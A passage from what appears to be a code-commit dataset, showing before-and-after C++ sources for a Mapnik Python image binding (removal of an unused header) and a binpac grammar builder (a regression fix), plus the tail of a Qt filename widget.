m_Button->setMaximumWidth(m_Button->width());\n connect( m_Button, SIGNAL(clicked()), this, SLOT(SelectFile()) );\n m_HLayout->addWidget(m_Button);\n\n this->setLayout(m_HLayout);\n}\n\nvoid QtWidgetOutputFilenameParameter::SelectFile()\n{\n QFileDialog fileDialog;\n fileDialog.setConfirmOverwrite(true);\n switch(m_FilenameParam->GetRole())\n {\n case Role_Input:\n {\n \/\/fileDialog.setFileMode(QFileDialog::ExistingFile);\n \/\/ FIXME: parameter's role is not suitable to separate \"input file\" names from \"output file\" names\n fileDialog.setFileMode(QFileDialog::AnyFile);\n }\n break;\n case Role_Output:\n {\n fileDialog.setFileMode(QFileDialog::AnyFile);\n }\n break;\n }\n\n fileDialog.setNameFilter(\"File (*)\");\n\n if (fileDialog.exec())\n {\n this->SetFileName(fileDialog.selectedFiles().at(0));\n m_Input->setText(fileDialog.selectedFiles().at(0));\n }\n}\n\nvoid QtWidgetOutputFilenameParameter::SetFileName(const QString& value)\n{\n \/\/ save value\n m_FilenameParam->SetValue(static_cast<const char*>(value.toAscii()));\n\n \/\/ notify of value change\n QString key( m_FilenameParam->GetKey() );\n emit ParameterChanged(key);\n}\n\n}\n}\n<|endoftext|>"} {"text":"<commit_before>\/*****************************************************************************\n *\n * This file is part of Mapnik (c++ mapping toolkit)\n *\n * Copyright (C) 2006 Artem Pavlenko, Jean-Francois Doyon\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA\n *\n *****************************************************************************\/\n\/\/$Id$\n\nextern \"C\"\n{\n#include <png.h>\n}\n\n\/\/ boost\n#include <boost\/python.hpp>\n#include <boost\/python\/module.hpp>\n#include <boost\/python\/def.hpp>\n#include <boost\/make_shared.hpp>\n\n\/\/ mapnik\n#include <mapnik\/graphics.hpp>\n#include <mapnik\/palette.hpp>\n#include <mapnik\/image_util.hpp>\n#include <mapnik\/png_io.hpp>\n#include <mapnik\/image_reader.hpp>\n#include <mapnik\/image_compositing.hpp>\n\n\/\/ stl\n#include <sstream>\n\n\/\/ jpeg\n#if defined(HAVE_JPEG)\n#include <mapnik\/jpeg_io.hpp>\n#endif\n\n\/\/ cairo\n#if defined(HAVE_CAIRO) && defined(HAVE_PYCAIRO)\n#include <cairomm\/surface.h>\n#include <pycairo.h>\n#endif\n\nusing mapnik::image_32;\nusing mapnik::image_reader;\nusing mapnik::get_image_reader;\nusing mapnik::type_from_filename;\nusing mapnik::save_to_file;\nusing mapnik::save_to_string;\n\nusing namespace boost::python;\n\n\/\/ output 'raw' pixels\nPyObject* tostring1( image_32 const& im)\n{\n int size = im.width() * im.height() * 4;\n return\n#if PY_VERSION_HEX >= 0x03000000\n ::PyBytes_FromStringAndSize\n#else\n ::PyString_FromStringAndSize\n#endif\n ((const char*)im.raw_data(),size);\n}\n\n\/\/ encode (png,jpeg)\nPyObject* tostring2(image_32 const & im, std::string const& format)\n{\n std::string s = save_to_string(im, format);\n return\n#if PY_VERSION_HEX >= 0x03000000\n ::PyBytes_FromStringAndSize\n#else\n ::PyString_FromStringAndSize\n#endif\n (s.data(),s.size());\n}\n\nPyObject* tostring3(image_32 const & im, std::string const& format, mapnik::rgba_palette const& pal)\n{\n std::string s = save_to_string(im, format, pal);\n return\n#if PY_VERSION_HEX >= 0x03000000\n ::PyBytes_FromStringAndSize\n#else\n ::PyString_FromStringAndSize\n#endif\n (s.data(),s.size());\n}\n\n\nvoid save_to_file1(mapnik::image_32 const& im, std::string const& filename)\n{\n save_to_file(im,filename);\n}\n\nvoid save_to_file2(mapnik::image_32 const& im, std::string const& filename, std::string const& type)\n{\n save_to_file(im,filename,type);\n}\n\nvoid save_to_file3(mapnik::image_32 const& im, std::string const& filename, std::string const& type, mapnik::rgba_palette const& pal)\n{\n save_to_file(im,filename,type,pal);\n}\n\nbool painted(mapnik::image_32 const& im)\n{\n return im.painted();\n}\n\nvoid set_pixel(mapnik::image_32 & im, unsigned x, unsigned y, mapnik::color const& c)\n{\n im.setPixel(x, y, c.rgba());\n}\n\nboost::shared_ptr<image_32> open_from_file(std::string const& filename)\n{\n boost::optional<std::string> type = type_from_filename(filename);\n if (type)\n {\n std::auto_ptr<image_reader> reader(get_image_reader(filename,*type));\n if (reader.get())\n {\n\n boost::shared_ptr<image_32> image_ptr = boost::make_shared<image_32>(reader->width(),reader->height());\n reader->read(0,0,image_ptr->data());\n return image_ptr;\n }\n throw mapnik::image_reader_exception(\"Failed to load: \" + filename);\n }\n throw mapnik::image_reader_exception(\"Unsupported image format:\" + filename);\n}\n\nvoid blend (image_32 & im, unsigned x, unsigned y, image_32 const& im2, float opacity)\n{\n im.set_rectangle_alpha2(im2.data(),x,y,opacity);\n}\n\n\nvoid composite(image_32 & im, image_32 & im2, mapnik::composite_mode_e mode)\n{\n mapnik::composite(im.data(),im2.data(),mode);\n}\n\n#if defined(HAVE_CAIRO) && defined(HAVE_PYCAIRO)\nboost::shared_ptr<image_32> from_cairo(PycairoSurface* surface)\n{\n Cairo::RefPtr<Cairo::ImageSurface> s(new Cairo::ImageSurface(surface->surface));\n boost::shared_ptr<image_32> image_ptr = boost::make_shared<image_32>(s);\n return image_ptr;\n}\n#endif\n\nvoid export_image()\n{\n using namespace boost::python;\n enum_<mapnik::composite_mode_e>(\"CompositeOp\")\n .value(\"clear\", mapnik::clear)\n .value(\"src\", mapnik::src)\n .value(\"dst\", mapnik::dst)\n .value(\"src_over\", mapnik::src_over)\n .value(\"dst_over\", mapnik::dst_over)\n .value(\"src_in\", mapnik::src_in)\n .value(\"dst_in\", mapnik::dst_in)\n .value(\"src_out\", mapnik::src_out)\n .value(\"dst_out\", mapnik::dst_out)\n .value(\"src_atop\", mapnik::src_atop)\n .value(\"dst_atop\", mapnik::dst_atop)\n .value(\"xor\", mapnik::_xor)\n .value(\"plus\", mapnik::plus)\n .value(\"minus\", mapnik::minus)\n .value(\"multiply\", mapnik::multiply)\n .value(\"screen\", mapnik::screen)\n .value(\"overlay\", mapnik::overlay)\n .value(\"darken\", mapnik::darken)\n .value(\"lighten\", mapnik::lighten)\n .value(\"color_dodge\", mapnik::color_dodge)\n .value(\"color_burn\", mapnik::color_burn)\n .value(\"hard_light\", mapnik::hard_light)\n .value(\"soft_light\", mapnik::soft_light)\n .value(\"difference\", mapnik::difference)\n .value(\"exclusion\", mapnik::exclusion)\n .value(\"contrast\", mapnik::contrast)\n .value(\"invert\", mapnik::invert)\n .value(\"invert_rgb\", mapnik::invert_rgb)\n ;\n\n class_<image_32,boost::shared_ptr<image_32> >(\"Image\",\"This class represents a 32 bit RGBA image.\",init<int,int>())\n .def(\"width\",&image_32::width)\n .def(\"height\",&image_32::height)\n .def(\"view\",&image_32::get_view)\n .def(\"painted\",&painted)\n .add_property(\"background\",make_function\n (&image_32::get_background,return_value_policy<copy_const_reference>()),\n &image_32::set_background, \"The background color of the image.\")\n .def(\"set_grayscale_to_alpha\",&image_32::set_grayscale_to_alpha, \"Set the grayscale values to the alpha channel of the Image\")\n .def(\"set_color_to_alpha\",&image_32::set_color_to_alpha, \"Set a given color to the alpha channel of the Image\")\n .def(\"set_alpha\",&image_32::set_alpha, \"Set the overall alpha channel of the Image\")\n .def(\"blend\",&blend)\n .def(\"composite\",&composite)\n .def(\"set_pixel\",&set_pixel)\n \/\/TODO(haoyu) The method name 'tostring' might be confusing since they actually return bytes in Python 3\n\n .def(\"tostring\",&tostring1)\n .def(\"tostring\",&tostring2)\n .def(\"tostring\",&tostring3)\n .def(\"save\", &save_to_file1)\n .def(\"save\", &save_to_file2)\n .def(\"save\", &save_to_file3)\n .def(\"open\",open_from_file)\n .staticmethod(\"open\")\n#if defined(HAVE_CAIRO) && defined(HAVE_PYCAIRO)\n .def(\"from_cairo\",&from_cairo)\n .staticmethod(\"from_cairo\")\n#endif\n ;\n\n}\n<commit_msg>+ remove unused header<commit_after>\/*****************************************************************************\n *\n * This file is part of Mapnik (c++ mapping toolkit)\n *\n * Copyright (C) 2006 Artem Pavlenko, Jean-Francois Doyon\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA\n *\n *****************************************************************************\/\n\/\/$Id$\n\nextern \"C\"\n{\n#include <png.h>\n}\n\n\/\/ boost\n#include <boost\/python.hpp>\n#include <boost\/python\/module.hpp>\n#include <boost\/python\/def.hpp>\n#include <boost\/make_shared.hpp>\n\n\/\/ mapnik\n#include <mapnik\/graphics.hpp>\n#include <mapnik\/palette.hpp>\n#include <mapnik\/image_util.hpp>\n#include <mapnik\/png_io.hpp>\n#include <mapnik\/image_reader.hpp>\n#include <mapnik\/image_compositing.hpp>\n\n\/\/ jpeg\n#if defined(HAVE_JPEG)\n#include <mapnik\/jpeg_io.hpp>\n#endif\n\n\/\/ cairo\n#if defined(HAVE_CAIRO) && defined(HAVE_PYCAIRO)\n#include <cairomm\/surface.h>\n#include <pycairo.h>\n#endif\n\nusing mapnik::image_32;\nusing mapnik::image_reader;\nusing mapnik::get_image_reader;\nusing mapnik::type_from_filename;\nusing mapnik::save_to_file;\nusing mapnik::save_to_string;\n\nusing namespace boost::python;\n\n\/\/ output 'raw' pixels\nPyObject* tostring1( image_32 const& im)\n{\n int size = im.width() * im.height() * 4;\n return\n#if PY_VERSION_HEX >= 0x03000000\n ::PyBytes_FromStringAndSize\n#else\n ::PyString_FromStringAndSize\n#endif\n ((const char*)im.raw_data(),size);\n}\n\n\/\/ encode (png,jpeg)\nPyObject* tostring2(image_32 const & im, std::string const& format)\n{\n std::string s = save_to_string(im, format);\n return\n#if PY_VERSION_HEX >= 0x03000000\n ::PyBytes_FromStringAndSize\n#else\n ::PyString_FromStringAndSize\n#endif\n (s.data(),s.size());\n}\n\nPyObject* tostring3(image_32 const & im, std::string const& format, mapnik::rgba_palette const& pal)\n{\n std::string s = save_to_string(im, format, pal);\n return\n#if PY_VERSION_HEX >= 0x03000000\n ::PyBytes_FromStringAndSize\n#else\n ::PyString_FromStringAndSize\n#endif\n (s.data(),s.size());\n}\n\n\nvoid save_to_file1(mapnik::image_32 const& im, std::string const& filename)\n{\n save_to_file(im,filename);\n}\n\nvoid save_to_file2(mapnik::image_32 const& im, std::string const& filename, std::string const& type)\n{\n save_to_file(im,filename,type);\n}\n\nvoid save_to_file3(mapnik::image_32 const& im, std::string const& filename, std::string const& type, mapnik::rgba_palette const& pal)\n{\n save_to_file(im,filename,type,pal);\n}\n\nbool painted(mapnik::image_32 const& im)\n{\n return im.painted();\n}\n\nvoid set_pixel(mapnik::image_32 & im, unsigned x, unsigned y, mapnik::color const& c)\n{\n im.setPixel(x, y, c.rgba());\n}\n\nboost::shared_ptr<image_32> open_from_file(std::string const& filename)\n{\n boost::optional<std::string> type = type_from_filename(filename);\n if (type)\n {\n std::auto_ptr<image_reader> reader(get_image_reader(filename,*type));\n if (reader.get())\n {\n\n boost::shared_ptr<image_32> image_ptr = boost::make_shared<image_32>(reader->width(),reader->height());\n reader->read(0,0,image_ptr->data());\n return image_ptr;\n }\n throw mapnik::image_reader_exception(\"Failed to load: \" + filename);\n }\n throw mapnik::image_reader_exception(\"Unsupported image format:\" + filename);\n}\n\nvoid blend (image_32 & im, unsigned x, unsigned y, image_32 const& im2, float opacity)\n{\n im.set_rectangle_alpha2(im2.data(),x,y,opacity);\n}\n\n\nvoid composite(image_32 & im, image_32 & im2, mapnik::composite_mode_e mode)\n{\n mapnik::composite(im.data(),im2.data(),mode);\n}\n\n#if defined(HAVE_CAIRO) && defined(HAVE_PYCAIRO)\nboost::shared_ptr<image_32> from_cairo(PycairoSurface* surface)\n{\n Cairo::RefPtr<Cairo::ImageSurface> s(new Cairo::ImageSurface(surface->surface));\n boost::shared_ptr<image_32> image_ptr = boost::make_shared<image_32>(s);\n return image_ptr;\n}\n#endif\n\nvoid export_image()\n{\n using namespace boost::python;\n enum_<mapnik::composite_mode_e>(\"CompositeOp\")\n .value(\"clear\", mapnik::clear)\n .value(\"src\", mapnik::src)\n .value(\"dst\", mapnik::dst)\n .value(\"src_over\", mapnik::src_over)\n .value(\"dst_over\", mapnik::dst_over)\n .value(\"src_in\", mapnik::src_in)\n .value(\"dst_in\", mapnik::dst_in)\n .value(\"src_out\", mapnik::src_out)\n .value(\"dst_out\", mapnik::dst_out)\n .value(\"src_atop\", mapnik::src_atop)\n .value(\"dst_atop\", mapnik::dst_atop)\n .value(\"xor\", mapnik::_xor)\n .value(\"plus\", mapnik::plus)\n .value(\"minus\", mapnik::minus)\n .value(\"multiply\", mapnik::multiply)\n .value(\"screen\", mapnik::screen)\n .value(\"overlay\", mapnik::overlay)\n .value(\"darken\", mapnik::darken)\n .value(\"lighten\", mapnik::lighten)\n .value(\"color_dodge\", mapnik::color_dodge)\n .value(\"color_burn\", mapnik::color_burn)\n .value(\"hard_light\", mapnik::hard_light)\n .value(\"soft_light\", mapnik::soft_light)\n .value(\"difference\", mapnik::difference)\n .value(\"exclusion\", mapnik::exclusion)\n .value(\"contrast\", mapnik::contrast)\n .value(\"invert\", mapnik::invert)\n .value(\"invert_rgb\", mapnik::invert_rgb)\n ;\n\n class_<image_32,boost::shared_ptr<image_32> >(\"Image\",\"This class represents a 32 bit RGBA image.\",init<int,int>())\n .def(\"width\",&image_32::width)\n .def(\"height\",&image_32::height)\n .def(\"view\",&image_32::get_view)\n .def(\"painted\",&painted)\n .add_property(\"background\",make_function\n (&image_32::get_background,return_value_policy<copy_const_reference>()),\n &image_32::set_background, \"The background color of the image.\")\n .def(\"set_grayscale_to_alpha\",&image_32::set_grayscale_to_alpha, \"Set the grayscale values to the alpha channel of the Image\")\n .def(\"set_color_to_alpha\",&image_32::set_color_to_alpha, \"Set a given color to the alpha channel of the Image\")\n .def(\"set_alpha\",&image_32::set_alpha, \"Set the overall alpha channel of the Image\")\n .def(\"blend\",&blend)\n .def(\"composite\",&composite)\n .def(\"set_pixel\",&set_pixel)\n \/\/TODO(haoyu) The method name 'tostring' might be confusing since they actually return bytes in Python 3\n\n .def(\"tostring\",&tostring1)\n .def(\"tostring\",&tostring2)\n .def(\"tostring\",&tostring3)\n .def(\"save\", &save_to_file1)\n .def(\"save\", &save_to_file2)\n .def(\"save\", &save_to_file3)\n .def(\"open\",open_from_file)\n .staticmethod(\"open\")\n#if defined(HAVE_CAIRO) && defined(HAVE_PYCAIRO)\n .def(\"from_cairo\",&from_cairo)\n .staticmethod(\"from_cairo\")\n#endif\n ;\n\n}\n<|endoftext|>"} {"text":"<commit_before>\n#include <util\/util.h>\n\n#include \"grammar-builder.h\"\n#include \"..\/declaration.h\"\n#include \"..\/type.h\"\n#include \"..\/grammar.h\"\n#include \"..\/production.h\"\n#include \"..\/attribute.h\"\n#include \"..\/expression.h\"\n#include \"..\/constant.h\"\n\nusing namespace binpac;\nusing namespace binpac::passes;\n\nGrammarBuilder::GrammarBuilder(std::ostream& out)\n : ast::Pass<AstInfo, shared_ptr<Production>>(\"binpac::GrammarBuilder\", false), _debug_out(out)\n{\n}\n\nGrammarBuilder::~GrammarBuilder()\n{\n}\n\nbool GrammarBuilder::run(shared_ptr<ast::NodeBase> ast)\n{\n _in_decl = 0;;\n _counters.clear();\n return processAllPreOrder(ast);\n}\n\nvoid GrammarBuilder::enableDebug()\n{\n _debug = true;\n}\n\nGrammarBuilder::production_map GrammarBuilder::_compiled;\n\nshared_ptr<Production> GrammarBuilder::compileOne(shared_ptr<Node> n)\n{\n auto p = _compiled.find(n);\n\n if ( p != _compiled.end() )\n return p->second;\n\n _compiled.insert(std::make_pair(n, std::make_shared<production::Unknown>(n)));\n\n shared_ptr<Production> production = nullptr;\n bool success = processOne(n, &production);\n assert(success);\n assert(production);\n\n _compiled.erase(n);\n _compiled.insert(std::make_pair(n, production));\n\n return production;\n}\n\nvoid GrammarBuilder::_resolveUnknown(shared_ptr<Production> production)\n{\n auto unknown = ast::tryCast<production::Unknown>(production);\n\n if ( unknown ) {\n auto n = unknown->node();\n auto p = _compiled.find(n);\n assert( p != _compiled.end());\n production->replace(n);\n }\n\n for ( auto c : production->childs() ) {\n if ( ast::isA<Production>(c) )\n _resolveUnknown(c->sharedPtr<binpac::Production>());\n }\n}\n\nstring GrammarBuilder::counter(const string& key)\n{\n auto cnt = 1;\n auto i = _counters.find(key);\n\n if ( i != _counters.end() )\n cnt = i->second;\n\n string s = util::fmt(\"%s%d\", key.c_str(), cnt++);\n\n _counters[key] = cnt;\n\n return s;\n}\n\nvoid GrammarBuilder::visit(declaration::Type* d)\n{\n \/\/ We are only interested in unit declarations.\n auto unit = ast::tryCast<type::Unit>(d->type());\n\n if ( ! unit )\n return;\n\n ++_in_decl;\n auto production = compileOne(unit);\n --_in_decl;\n\n _resolveUnknown(production);\n\n auto grammar = std::make_shared<Grammar>(d->id()->name(), production);\n\n if ( _debug )\n grammar->printTables(_debug_out, true);\n\n unit->setGrammar(grammar);\n}\n\nvoid GrammarBuilder::visit(type::Unit* u)\n{\n if ( ! _in_decl )\n return;\n\n auto prods = Production::production_list();\n\n for ( auto f : u->fields() )\n prods.push_back(compileOne(f));\n\n string name;\n\n if ( u->id() )\n name = u->id()->name();\n else\n name = util::fmt(\"unit%d\", _unit_counter++);\n\n auto unit = std::make_shared<production::Sequence>(name, prods, u->sharedPtr<type::Unit>(), u->location());\n setResult(unit);\n}\n\nvoid GrammarBuilder::visit(type::unit::item::field::Constant* c)\n{\n if ( ! _in_decl )\n return;\n\n auto sym = \"const:\" + c->id()->name();\n auto prod = std::make_shared<production::Constant>(sym, c->constant());\n prod->pgMeta()->field = c->sharedPtr<type::unit::item::Field>();\n setResult(prod);\n}\n\nvoid GrammarBuilder::visit(type::unit::item::field::Ctor* c)\n{\n if ( ! _in_decl )\n return;\n\n auto sym = \"ctor:\" + c->id()->name();\n auto prod = std::make_shared<production::Ctor>(sym, c->ctor());\n prod->pgMeta()->field = c->sharedPtr<type::unit::item::Field>();\n setResult(prod);\n}\n\nvoid GrammarBuilder::visit(type::unit::item::field::Switch* s)\n{\n if ( ! _in_decl )\n return;\n\n production::Switch::case_list cases;\n shared_ptr<Production> default_ = nullptr;\n\n for ( auto c : s->cases() ) {\n if ( c->default_() ) {\n default_ = compileOne(c);\n continue;\n }\n\n auto pcase = std::make_pair(c->expressions(), compileOne(c));\n cases.push_back(pcase);\n }\n\n auto sym = \"switch:\" + s->id()->name();\n auto prod = std::make_shared<production::Switch>(sym, s->expression(), cases, default_, s->location());\n prod->pgMeta()->field = s->sharedPtr<type::unit::item::Field>();\n setResult(prod);\n}\n\nvoid GrammarBuilder::visit(type::unit::item::field::AtomicType* t)\n{\n if ( ! _in_decl )\n return;\n\n shared_ptr<Production> prod;\n\n if ( ast::isA<type::EmbeddedObject>(t->type()) ) {\n \/\/ Not quite clear if there's a nicer way to present these than\n \/\/ special-casing them here.\n auto sym = \"type:\" + t->id()->name();\n prod = std::make_shared<production::TypeLiteral>(sym, t->type());\n }\n\n else {\n auto sym = \"var:\" + t->id()->name();\n prod = std::make_shared<production::Variable>(sym, t->type());\n }\n\n prod->pgMeta()->field = t->sharedPtr<type::unit::item::Field>();\n setResult(prod);\n}\n\nvoid GrammarBuilder::visit(type::unit::item::field::Unit* u)\n{\n if ( ! _in_decl )\n return;\n\n ++_in_decl;\n auto chprod = compileOne(u->type());\n --_in_decl;\n\n string name;\n\n if ( u->id() )\n name = u->id()->name();\n else\n name = util::fmt(\"unit%d\", _unit_counter++);\n\n assert(ast::isA<Production>(chprod));\n auto child = std::make_shared<production::ChildGrammar>(name, chprod, ast::checkedCast<type::Unit>(u->type()), u->location());\n child->pgMeta()->field = u->sharedPtr<type::unit::item::field::Unit>();\n setResult(child);\n}\n\nvoid GrammarBuilder::visit(type::unit::item::field::switch_::Case* c)\n{\n if ( ! _in_decl )\n return;\n\n auto prods = Production::production_list();\n\n for ( auto i : c->items() )\n prods.push_back(compileOne(i));\n\n auto name = util::fmt(\"case%d\", _case_counter++);\n auto seq = std::make_shared<production::Sequence>(name, prods, nullptr, c->location());\n setResult(seq);\n}\n\nvoid GrammarBuilder::visit(type::unit::item::field::container::List* l)\n{\n if ( ! _in_decl )\n return;\n\n auto until = l->attributes()->lookup(\"until\");\n auto until_including = l->attributes()->lookup(\"until_including\");\n auto while_ = l->attributes()->lookup(\"while\");\n auto count = l->attributes()->lookup(\"count\");\n auto length = l->attributes()->lookup(\"length\");\n\n auto sym = \"list:\" + l->id()->name();\n\n ++_in_decl;\n auto field = compileOne(l->field());\n field->setContainer(l->sharedPtr<type::unit::item::field::Container>());\n --_in_decl;\n\n if ( until || while_ || until_including ) {\n \/\/ We use a Loop production here. type::Container installs a &foreach\n \/\/ hook that stops the iteration once the condition is satisfied.\n \/\/ Doing it this way allows the condition to run in the hook's scope,\n \/\/ with access to \"$$\".\n auto l1 = std::make_shared<production::Loop>(sym, field, false, l->location());\n l1->pgMeta()->field = l->sharedPtr<type::unit::item::Field>();\n setResult(l1);\n }\n\n else if ( count ) {\n auto l1 = std::make_shared<production::Counter>(sym, count->value(), field, l->location());\n l1->pgMeta()->field = l->sharedPtr<type::unit::item::Field>();\n setResult(l1);\n }\n\n else if ( length ) {\n auto l1 = std::make_shared<production::Loop>(sym, field, true, l->location());\n auto l2 = std::make_shared<production::ByteBlock>(sym, length->value(), l1, l->location());\n l1->pgMeta()->field = l->sharedPtr<type::unit::item::Field>();\n setResult(l2);\n }\n\n else {\n \/\/ No attributes, use look-ahead to figure out when to stop parsing.\n \/\/\n \/\/ Left-factored & right-recursive.\n \/\/\n \/\/ List1 -> Item List2\n \/\/ List2 -> Epsilon | List1\n\n auto epsilon = std::make_shared<production::Epsilon>(l->location());\n auto l1 = std::make_shared<production::Sequence>(sym + \":l1\", Production::production_list(), nullptr, l->location());\n auto l2 = std::make_shared<production::LookAhead>(sym + \":l2\", epsilon, l1, l->location());\n\n l1->add(field);\n l1->add(l2);\n\n auto c = std::make_shared<production::Enclosure>(sym, l2, l->location());\n c->pgMeta()->field = l->sharedPtr<type::unit::item::Field>();\n field->pgMeta()->for_each = c->pgMeta()->field;\n\n setResult(c);\n }\n}\n\nvoid GrammarBuilder::visit(type::unit::item::field::container::Vector* v)\n{\n if ( ! _in_decl )\n return;\n\n auto length = v->length();\n auto sym = \"vector:\" + v->id()->name();\n\n ++_in_decl;\n auto field = compileOne(v->field());\n field->setContainer(v->sharedPtr<type::unit::item::field::Container>());\n --_in_decl;\n\n auto l1 = std::make_shared<production::Counter>(sym, v->length(), field, v->location());\n l1->pgMeta()->field = v->sharedPtr<type::unit::item::Field>();\n setResult(l1);\n}\n<commit_msg>Fixing regression introduced with sync support.<commit_after>\n#include <util\/util.h>\n\n#include \"grammar-builder.h\"\n#include \"..\/declaration.h\"\n#include \"..\/type.h\"\n#include \"..\/grammar.h\"\n#include \"..\/production.h\"\n#include \"..\/attribute.h\"\n#include \"..\/expression.h\"\n#include \"..\/constant.h\"\n\nusing namespace binpac;\nusing namespace binpac::passes;\n\nGrammarBuilder::GrammarBuilder(std::ostream& out)\n : ast::Pass<AstInfo, shared_ptr<Production>>(\"binpac::GrammarBuilder\", false), _debug_out(out)\n{\n}\n\nGrammarBuilder::~GrammarBuilder()\n{\n}\n\nbool GrammarBuilder::run(shared_ptr<ast::NodeBase> ast)\n{\n _in_decl = 0;;\n _counters.clear();\n return processAllPreOrder(ast);\n}\n\nvoid GrammarBuilder::enableDebug()\n{\n _debug = true;\n}\n\nGrammarBuilder::production_map GrammarBuilder::_compiled;\n\nshared_ptr<Production> GrammarBuilder::compileOne(shared_ptr<Node> n)\n{\n auto p = _compiled.find(n);\n\n if ( p != _compiled.end() )\n return p->second;\n\n _compiled.insert(std::make_pair(n, std::make_shared<production::Unknown>(n)));\n\n shared_ptr<Production> production = nullptr;\n bool success = processOne(n, &production);\n assert(success);\n assert(production);\n\n _compiled.erase(n);\n _compiled.insert(std::make_pair(n, production));\n\n return production;\n}\n\nvoid GrammarBuilder::_resolveUnknown(shared_ptr<Production> production)\n{\n auto unknown = ast::tryCast<production::Unknown>(production);\n\n if ( unknown ) {\n auto n = unknown->node();\n auto p = _compiled.find(n);\n assert( p != _compiled.end());\n if ( ast::isA<Production>(n) )\n production->replace(n);\n }\n\n for ( auto c : production->childs() ) {\n if ( ast::isA<Production>(c) )\n _resolveUnknown(c->sharedPtr<binpac::Production>());\n }\n}\n\nstring GrammarBuilder::counter(const string& key)\n{\n auto cnt = 1;\n auto i = _counters.find(key);\n\n if ( i != _counters.end() )\n cnt = i->second;\n\n string s = util::fmt(\"%s%d\", key.c_str(), cnt++);\n\n _counters[key] = cnt;\n\n return s;\n}\n\nvoid GrammarBuilder::visit(declaration::Type* d)\n{\n \/\/ We are only interested in unit declarations.\n auto unit = ast::tryCast<type::Unit>(d->type());\n\n if ( ! unit )\n return;\n\n ++_in_decl;\n auto production = compileOne(unit);\n --_in_decl;\n\n _resolveUnknown(production);\n\n auto grammar = std::make_shared<Grammar>(d->id()->name(), production);\n\n if ( _debug )\n grammar->printTables(_debug_out, true);\n\n unit->setGrammar(grammar);\n}\n\nvoid GrammarBuilder::visit(type::Unit* u)\n{\n if ( ! _in_decl )\n return;\n\n auto prods = Production::production_list();\n\n for ( auto f : u->fields() )\n prods.push_back(compileOne(f));\n\n string name;\n\n if ( u->id() )\n name = u->id()->name();\n else\n name = util::fmt(\"unit%d\", _unit_counter++);\n\n auto unit = std::make_shared<production::Sequence>(name, prods, u->sharedPtr<type::Unit>(), u->location());\n setResult(unit);\n}\n\nvoid GrammarBuilder::visit(type::unit::item::field::Constant* c)\n{\n if ( ! _in_decl )\n return;\n\n auto sym = \"const:\" + c->id()->name();\n auto prod = std::make_shared<production::Constant>(sym, c->constant());\n prod->pgMeta()->field = c->sharedPtr<type::unit::item::Field>();\n setResult(prod);\n}\n\nvoid GrammarBuilder::visit(type::unit::item::field::Ctor* c)\n{\n if ( ! _in_decl )\n return;\n\n auto sym = \"ctor:\" + c->id()->name();\n auto prod = std::make_shared<production::Ctor>(sym, c->ctor());\n prod->pgMeta()->field = c->sharedPtr<type::unit::item::Field>();\n setResult(prod);\n}\n\nvoid GrammarBuilder::visit(type::unit::item::field::Switch* s)\n{\n if ( ! _in_decl )\n return;\n\n production::Switch::case_list cases;\n shared_ptr<Production> default_ = nullptr;\n\n for ( auto c : s->cases() ) {\n if ( c->default_() ) {\n default_ = compileOne(c);\n continue;\n }\n\n auto pcase = std::make_pair(c->expressions(), compileOne(c));\n cases.push_back(pcase);\n }\n\n auto sym = \"switch:\" + s->id()->name();\n auto prod = std::make_shared<production::Switch>(sym, s->expression(), cases, default_, s->location());\n prod->pgMeta()->field = s->sharedPtr<type::unit::item::Field>();\n setResult(prod);\n}\n\nvoid GrammarBuilder::visit(type::unit::item::field::AtomicType* t)\n{\n if ( ! _in_decl )\n return;\n\n shared_ptr<Production> prod;\n\n if ( ast::isA<type::EmbeddedObject>(t->type()) ) {\n \/\/ Not quite clear if there's a nicer way to present these than\n \/\/ special-casing them here.\n auto sym = \"type:\" + t->id()->name();\n prod = std::make_shared<production::TypeLiteral>(sym, t->type());\n }\n\n else {\n auto sym = \"var:\" + t->id()->name();\n prod = std::make_shared<production::Variable>(sym, t->type());\n }\n\n prod->pgMeta()->field = t->sharedPtr<type::unit::item::Field>();\n setResult(prod);\n}\n\nvoid GrammarBuilder::visit(type::unit::item::field::Unit* u)\n{\n if ( ! _in_decl )\n return;\n\n ++_in_decl;\n auto chprod = compileOne(u->type());\n --_in_decl;\n\n string name;\n\n if ( u->id() )\n name = u->id()->name();\n else\n name = util::fmt(\"unit%d\", _unit_counter++);\n\n assert(ast::isA<Production>(chprod));\n auto child = std::make_shared<production::ChildGrammar>(name, chprod, ast::checkedCast<type::Unit>(u->type()), u->location());\n child->pgMeta()->field = u->sharedPtr<type::unit::item::field::Unit>();\n setResult(child);\n}\n\nvoid GrammarBuilder::visit(type::unit::item::field::switch_::Case* c)\n{\n if ( ! _in_decl )\n return;\n\n auto prods = Production::production_list();\n\n for ( auto i : c->items() )\n prods.push_back(compileOne(i));\n\n auto name = util::fmt(\"case%d\", _case_counter++);\n auto seq = std::make_shared<production::Sequence>(name, prods, nullptr, c->location());\n setResult(seq);\n}\n\nvoid GrammarBuilder::visit(type::unit::item::field::container::List* l)\n{\n if ( ! _in_decl )\n return;\n\n auto until = l->attributes()->lookup(\"until\");\n auto until_including = l->attributes()->lookup(\"until_including\");\n auto while_ = l->attributes()->lookup(\"while\");\n auto count = l->attributes()->lookup(\"count\");\n auto length = l->attributes()->lookup(\"length\");\n\n auto sym = \"list:\" + l->id()->name();\n\n ++_in_decl;\n auto field = compileOne(l->field());\n field->setContainer(l->sharedPtr<type::unit::item::field::Container>());\n --_in_decl;\n\n if ( until || while_ || until_including ) {\n \/\/ We use a Loop production here. type::Container installs a &foreach\n \/\/ hook that stops the iteration once the condition is 